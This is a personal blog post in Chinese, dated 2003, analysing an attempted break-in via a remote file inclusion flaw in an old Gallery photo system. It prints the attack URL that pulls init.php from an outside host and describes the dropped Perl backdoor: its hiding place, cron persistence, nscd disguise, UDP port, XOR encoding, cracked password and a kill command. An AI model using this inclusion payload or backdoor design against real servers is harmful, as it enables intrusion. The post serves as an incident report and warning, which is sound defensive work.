這次來自 http://pstream.front.ru/,差點給 shell in。時間是 2003/09/27。

這次他透過我的相簿系統侵入,我使用的是舊版的 Gallery 系統,其中有一個可以讓 Windows XP 使用者方便上傳圖檔的功能。但是那隻程式有些問題,他在一開始的時候會先包含並執行起始程序($GALLERY_BASEDIR/init.php),但是他卻不去驗證 $GALLERY_BASEDIR 的位址,依照舊版 PHP 自動將變數宣告為全域變數的習慣下,你可以透過 Get/Post/Cookie 把假的$GALLERY_BASEDIR 而 Gallery 就會很高興的把那個檔案抓回來並執行他。而我當然老早就發現這問題,並把大家討論的修正補上,可是愚蠢如我卻錯把驗證程序擺在漏洞執行程式之後。所以就給人有機可乘。

對方用了這樣的網址來入侵。


/~chihchun/gallery/publish_xp_docs.php?GALLERY_BASEDIR=http://pstream.front.ru/

所以我的程式會抓回 http://pstream.front.ru/init.php 並執行之。這個 PHP 程式裡面用 Base64 編碼並含入了另外一隻 perl script 作為木馬,PHP 程式會自動將檔案解出在 /var/tmp/.nscdrecover,並把這個 perl script 指定給 crontab 去定期執行,以確保後門常啟。這個後門倒是頗有創意,程式執行後,會把自己的名字改為 “/usr/sbin/nscd” (name service cache daemon),某些舊版的 Unix/Linux 系統開機後都會執行這個指令,當你用 ps -awux 時,他們看起來都差不多,除了程式執行者與檔名有點差異外,它會以 UDP 協定 bind 在 port 47821,並聆聽指令,所有的指令都經過兩道簡單的加密。第一道是當指令透過 UDP 協定傳達到木馬時,必須先進行 xor 80 的運算,另外一道則是每個指令還要經過密碼驗證。加密過的密碼是 SOdS8vdw0SB0U,我把密碼告訴開膛手,John 在五天又九個小時四十六分四十秒後告訴我密碼是 b0t1sux。你可以用 nc -vu 127.0.0.1 47821 然後輸入以下字串,便可以將木馬置之死地。

2`$a#%(p495p2`$a#%(Z

木馬的主要功能是 die、redir、shell、fast、slow、ddns、port 等。主要的功能是 DoS,fast/slow 分別是兩個浪費頻寬的程序,ddns 則是攻擊網域名稱伺服器專用。以及可開啟 shell 在某個特定的 port。可惜的是,我的系統上面有網路防火牆以及本機的封包過濾。因此攻擊者根本無法將指令穿越兩道關卡送入木馬程式,也無法開啟特定的埠,功虧一簣。

最大的系統漏洞永遠在最微小的細節上,但是嚴謹的資訊安全政策可以保護你自己。如果你用舊版的 Gallery,請查看你的系統是否有我所述以上徵兆。有時候人要勇於承認自己的無知與缺點才能在失敗之後重新站起來。